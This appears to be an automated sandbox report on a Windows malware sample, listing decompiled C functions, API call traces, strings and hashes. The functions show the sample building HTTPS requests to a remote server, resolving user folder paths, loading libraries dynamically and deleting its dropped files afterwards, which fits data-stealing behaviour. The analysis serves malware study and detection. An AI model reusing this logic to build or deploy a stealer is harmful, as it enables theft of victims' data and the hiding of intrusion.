				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
				intOrPtr _t120;
				void* _t126;
				void* _t127;

				_t56 = E0040C090(_a4, "|",  &_v1076);
				_t127 = _t126 + 0xc;
				_v1072 = _t56;
				_v8 = 1;
				E0040B720( &_v804, 0x104);
				E0040B720( &_v1068, 0x104);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				while(_v1072 != 0) {
					_v1140 = _v8;
					if(_v1140 == 1) {
						 *0x41aa24( &_v804, _v1072);
					} else {
						if(_v1140 == 2) {
							 *0x41aa24( &_v1068, _v1072);
							_t69 = E0040BF50( &_v1068, __eflags, 0x1a);
							_t117 =  *0x41a574; // 0x7865e8
							 *0x41aac8( &_v540, E0040BEB0( &_v1068, _t117, _t69));
							_t73 = E0040BF50( &_v540, __eflags, 0x1c);
							_t118 =  *0x41a518; // 0x786618
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t118, _t73));
							_t77 = E0040BF50( &_v540, __eflags, 0x28);
							_t119 =  *0x41a2f8; // 0x786660
							 *0x41aac8( &_v540, E0040BEB0( &_v540, _t119, _t77));
							_t81 = E0040BF50( &_v540, __eflags, 0x10);
							_t120 =  *0x41a494; // 0x7866f0
							_t83 = E0040BEB0( &_v540, _t120, _t81);
							_t127 = _t127 + 0x40;
							 *0x41aac8( &_v540, _t83);
						} else {
							if(_v1140 == 3) {
								 *0x41aa24( &_v276, _v1072);
								E004049E0( &_v540,  &_v804,  &_v540);
								_t127 = _t127 + 8;
								E0040B6E0( &_v540,  &_v1136, 0, 0x3c);
								_v1136 = 0x3c;
								_v1132 = 0;
								_v1128 = 0;
								_t110 =  *0x41a694; // 0x770410
								_v1124 = _t110;
								_v1120 =  &_v540;
								_v1116 =  &_v276;
								_v1112 = 0;
								_v1108 = 5;
								_v1104 = 0;
								 *0x41aa84( &_v1136);
								E0040B6E0( &_v1136,  &_v1136, 0, 0x3c);
								E0040B720( &_v1068, 0x104);
								E0040B720( &_v540, 0x104);
								E0040B720( &_v276, 0x104);
								E0040B720( &_v804, 0x104);
								_v8 = 0;
							}
						}
					}
					_v8 = _v8 + 1;
					_t66 = E0040C090(0, "|",  &_v1076);
					_t127 = _t127 + 0xc;
					_v1072 = _t66;
				}
				return E0040B720( &_v1072, 4);
			}

0x00405b19
0x00405b1e
0x00405b21
0x00405b27
0x00405b3a
0x00405b4b
0x00405b5c
0x00405b6d
0x00405b72
0x00405b82
0x00405b8f
0x00405bba
0x00405b91
0x00405b98
0x00405bd3
0x00405bdb
0x00405be4
0x00405c02
0x00405c0a
0x00405c13
0x00405c31
0x00405c39
0x00405c42
0x00405c60
0x00405c68
0x00405c71
0x00405c7f
0x00405c84
0x00405c8f
0x00405b9a
0x00405ba1
0x00405ca8
0x00405cbc
0x00405cc1
0x00405ccf
0x00405cd4
0x00405cde
0x00405ce8
0x00405cf2
0x00405cf8
0x00405d04
0x00405d10
0x00405d16
0x00405d20
0x00405d2a
0x00405d3b
0x00405d4c
0x00405d5d
0x00405d6e
0x00405d7f
0x00405d90
0x00405d95
0x00405d95
0x00405ba1
0x00405b98
0x00405da2
0x00405db3
0x00405db8
0x00405dbb
0x00405dbb
0x00405dd7

APIs

lstrcat.KERNEL32(?,00000000), ref: 00405BBA
lstrcat.KERNEL32(?,00000000), ref: 00405BD3

Part of subcall function 0040BF50: SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Part of subcall function 0040BEB0: StrStrA.SHLWAPI(ex,?,?,004061B1,?,007865E8,00000000), ref: 0040BEBE

lstrcpy.KERNEL32(?,00000000), ref: 00405C02

Part of subcall function 0040BEB0: lstrcpyn.KERNEL32(0041AC88,ex,ex,?,004061B1,?,007865E8), ref: 0040BEE2
Part of subcall function 0040BEB0: wsprintfA.USER32 ref: 0040BF3B

lstrcpy.KERNEL32(?,00000000), ref: 00405C31
lstrcpy.KERNEL32(?,00000000), ref: 00405C60
lstrcpy.KERNEL32(?,00000000), ref: 00405C8F

Strings

`fx, xrefs: 00405C42
<, xrefs: 00405CD4
ex, xrefs: 00405BE4

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <$`fx$ex
API String ID: 2415926151-1650147076
Opcode ID: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction ID: badc1f77fbd681f1876fa2e3389a3849b2e9868718c133fb1f617daaf3b8e41a
Opcode Fuzzy Hash: 747730083efd5928e2e27fe322c6f8ad2ed5ef5884fc777b8ac9b0fedd14d06d
Instruction Fuzzy Hash: D86114F190021CABD715EB60DC85FDE7378AB58304F0445AAF309A6191DB796B88CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00575D50, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00000000), ref: 00575E0A
lstrcat.KERNEL32(?,00000000), ref: 00575E23

Part of subcall function 0057C1A0: SHGetFolderPathA.SHELL32(00000000,00575E30,00000000,00000000,?,?,000003E8), ref: 0057C1CB

Part of subcall function 0057C100: StrStrA.SHLWAPI(?,?,?,00575E47,?,ex,00000000), ref: 0057C10E

lstrcpy.KERNEL32(?,00000000), ref: 00575E52

Part of subcall function 0057C100: lstrcpyn.KERNEL32(0041AC88,?,?,?,00575E47,?,ex), ref: 0057C132
Part of subcall function 0057C100: wsprintfA.USER32 ref: 0057C18B

lstrcpy.KERNEL32(?,00000000), ref: 00575E81
lstrcpy.KERNEL32(?,00000000), ref: 00575EB0
lstrcpy.KERNEL32(?,00000000), ref: 00575EDF

Strings

`fx, xrefs: 00575E92, 00575E98
ex, xrefs: 00575E34, 00575E3A
<, xrefs: 00575F24

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <$`fx$ex
API String ID: 2415926151-1650147076
Opcode ID: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction ID: cc175b8683a429e39f021b6193f0fc6f5c42e9f398c4c6db7c280b7078926eea
Opcode Fuzzy Hash: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction Fuzzy Hash: E26160F190021CABDB25EB60DC89FDE7B78BB48304F408599F309A6142EB759B88DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_v10544 = E00413730(0, 0x6400000, 0);
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x770420
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x7850c0
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x786510
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x787378
				_t93 =  *0x41a288; // 0x786690
				_t109 =  *0x41a7c4; // 0x7850c0
				_t52 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v10268, E004051A0(_t93, _t133, _t52, _t109, _t93, _t51));
				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x787058
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x786690
				_t116 =  *0x41a7c4; // 0x7850c0
				_t71 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x787998
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,00770420), ref: 004066CD
lstrcat.KERNEL32(?,007822D0), ref: 004066E0
lstrcat.KERNEL32(?,007850C0), ref: 004066F4
lstrcat.KERNEL32(?,00786510), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,007822D0,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0076EC80), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0076E518), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0076EC90), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007852C0), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,007865D0), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(hdx,00786468), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(00786588,00786588), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(hdx,007850E0), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(00787998,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Strings

xsx, xrefs: 0040670E
Xpx, xrefs: 00406765

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: Xpx$xsx
API String ID: 2767677664-1621626075
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 005768A0, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 176stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0057BB21

lstrcat.KERNEL32(?,00000000), ref: 00576909
lstrcat.KERNEL32(?,0041A260), ref: 0057691D
lstrcat.KERNEL32(?,0041A368), ref: 00576930
lstrcat.KERNEL32(?,0041A7C4), ref: 00576944
lstrcat.KERNEL32(?,0041A76C), ref: 00576958

Part of subcall function 005753F0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0057541D
Part of subcall function 005753F0: StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00575443
Part of subcall function 005753F0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0057547D
Part of subcall function 005753F0: InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 005754A3
Part of subcall function 005753F0: HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00575503
Part of subcall function 005753F0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00575577
Part of subcall function 005753F0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00575593
Part of subcall function 005753F0: StrCmpCA.SHLWAPI(?,00418B8C), ref: 005755A9

lstrcat.KERNEL32(?,00000000), ref: 00576988

Part of subcall function 00576570: lstrcat.KERNEL32(?,?), ref: 005765E4

Part of subcall function 00574C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00574C5E

Part of subcall function 0057A950: GetProcessHeap.KERNEL32(00000000,000F423F,?,005769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0057A95A
Part of subcall function 0057A950: RtlAllocateHeap.NTDLL(00000000,?,005769FC), ref: 0057A961

Part of subcall function 00575930: GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057593B
Part of subcall function 00575930: RtlAllocateHeap.NTDLL(00000000), ref: 00575942
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A6E4), ref: 00575955
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A22C), ref: 00575966
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC0), ref: 00575975
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A6C4), ref: 00575986
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC4), ref: 00575995
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A544), ref: 005759A6
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC0), ref: 005759B5
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A79C), ref: 005759C6
Part of subcall function 00575930: GetCurrentProcessId.KERNEL32 ref: 005759CC
Part of subcall function 00575930: lstrcat.KERNEL32(?,00000000), ref: 005759E0
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC0), ref: 005759EF
Part of subcall function 00575930: lstrcat.KERNEL32(?,hdx), ref: 005759FF
Part of subcall function 00575930: lstrcat.KERNEL32(?,00000000), ref: 00575A0F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC4), ref: 00575A1E
Part of subcall function 00575930: lstrcat.KERNEL32(?,0041A044), ref: 00575A2F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00000000), ref: 00575A3F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC0), ref: 00575A4E
Part of subcall function 00575930: lstrcat.KERNEL32(?,Px), ref: 00575A5F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00000000), ref: 00575A6F
Part of subcall function 00575930: lstrcat.KERNEL32(?,00418BC4), ref: 00575A7E

lstrcat.KERNEL32(?,00000000), ref: 00576A9E
SetCurrentDirectoryA.KERNEL32(0041A6A8,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00576AAB
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00576AB8

Strings

Xpx, xrefs: 005769B5, 005769BB
xsx, xrefs: 0057695E, 00576963

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: Xpx$xsx
API String ID: 2767677664-1621626075
Opcode ID: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction ID: 43acc8e474027e770c3ef09eb4fc18e5a8af52e37062d47c6deb555cc1febdd2
Opcode Fuzzy Hash: 086d614e0f8ceeab508543bd7818011aace6c64de742493a2a319ccd1d6628aa
Instruction Fuzzy Hash: CF6154B6901218EBD711EBA0EC49EDA77BCBB88700F00C5A5F30D93191DA74EA94DF65

Uniqueness

Uniqueness Score: -1.00%

Function 0057BF40, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4jWA, xrefs: 0057BF6C, 0057C0C0, 0057BF6F, 0057C0C3
4jWA, xrefs: 0057C09C, 0057C09F

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID:
String ID: 4jWA$4jWA
API String ID: 0-216016290
Opcode ID: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction ID: cc9d67ed2d84ae46e9874b92fd83f9a83655083ad3e1204a816e60c275df3634
Opcode Fuzzy Hash: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction Fuzzy Hash: 3651DAB5A11208EFDB04DBE4DC88FEEBBB9BF4C700F148918F605E6290DA349951DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x787058
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x787148
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x787030
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x7870a8
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x785100
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x7870d0
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x786f68
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(00787058,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(00787148,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(00787030,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(007870A8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00785100,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(007870D0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(00786F68,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Strings

hox, xrefs: 00405E2F
Xpx, xrefs: 00405DE3
Hqx, xrefs: 00405DEF
0px, xrefs: 00405DFC

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: DeleteFile
String ID: 0px$Hqx$Xpx$hox
API String ID: 4033686569-1309239544
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00576030, Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 25fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(Xpx), ref: 00576039
DeleteFileA.KERNEL32(Hqx), ref: 00576046
DeleteFileA.KERNEL32(0px), ref: 00576053
DeleteFileA.KERNEL32(0041A220), ref: 0057605F
DeleteFileA.KERNEL32(0041A6CC), ref: 0057606C
DeleteFileA.KERNEL32(0041A4A8), ref: 00576079
DeleteFileA.KERNEL32(hox), ref: 00576085

Strings

hox, xrefs: 0057607F, 00576084
Xpx, xrefs: 00576033, 00576038
0px, xrefs: 0057604C, 00576052
Hqx, xrefs: 0057603F, 00576045

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: DeleteFile
String ID: 0px$Hqx$Xpx$hox
API String ID: 4033686569-1309239544
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 18.1, APIs: 12, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x787388
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x787388
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x785100
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x787fc8
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x788010
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x7881d8
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x788028
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x788298
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x7879b0
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(00787388,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
